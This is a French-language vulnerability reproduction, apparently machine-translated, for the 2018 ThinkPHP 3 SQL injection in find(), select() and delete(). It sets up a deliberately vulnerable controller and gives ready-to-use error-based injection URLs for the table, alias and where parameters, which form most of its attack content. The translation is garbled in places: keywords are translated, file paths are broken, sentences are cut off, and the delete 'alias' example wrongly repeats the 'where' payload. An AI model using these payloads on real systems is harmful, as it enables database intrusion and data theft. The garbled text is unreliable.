Y a-t-il une vulnérabilité dans thinkphp3 ?
thinkphp3 est vulnérable, mais le jeudi 23 août 2018 à 11h25, heure de Pékin, l'équipe tp a effectué une mise à jour de sécurité pour la série thinkphp 3 qui a arrêté la mise à jour après analyse, cette mise à jour. corrige plusieurs risques d'injection SQL causés par les méthodes select(), find() et delete() qui peuvent transmettre des données de type tableau.
Récurrence de vulnérabilité 0x01
Téléchargez le code source : git clone https://github.com/top-think/thinkphp.git
Utilisez la commande git checkout pour restaurer la version jusqu'au dernier commit : git checkout 109bf30254a38651c21837633d9293a4065c300b
Utilisez des outils intégrés tels que phpstudy pour créer thinkphp et modifiez le fichier de configuration Apache httpd-conf
DocumentRoot "" dans le répertoire où se trouve thinkphp.
Redémarrez phpstudy, accédez à 127.0.0.1 et affichez le message de bienvenue de thinkphp, indiquant que thinkphp fonctionne normalement.
Construire une base de données, la base de données est tptest, la table est utilisateur, il y a trois champs dans la table : id, nom d'utilisateur, pass
Modifiez le fichier de configuration ApplicationCommonConfconfig.php et ajoutez les informations de configuration de la base de données. Après
ajoutez le code suivant dans ApplicationHomeControllerIndexController.class.php :
public function test() { $id = i('id'); $res = M('user')->find($id); //$res = M('user')->delete($id); //$res = M('user')->select($id); }
Pour les méthodes select() et find(), il existe de nombreux endroits où Remarque, ici Listez principalement trois tableaux, alias, où. Pour en savoir plus, veuillez suivre vous-même les différentes méthodes parseXXX de parseSql. L'inspection visuelle est réalisable, comme avoir, grouper, etc.
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
La même chose est vraie pour la méthode delete(). Voici trois exemples approximatifs, table, alias et où. Mais lorsque vous utilisez table et alias, vous devez également. assurez-vous où Non vide (la raison détaillée sera discutée plus tard)
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
Grâce à la comparaison des commits sur github, nous pouvons savoir à peu près que cette mise à jour est principalement dans ThinkPHP/Library/ Think/Model Dans le fichier .class.php, les trois fonctions delete, find et select ont été modifiées.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!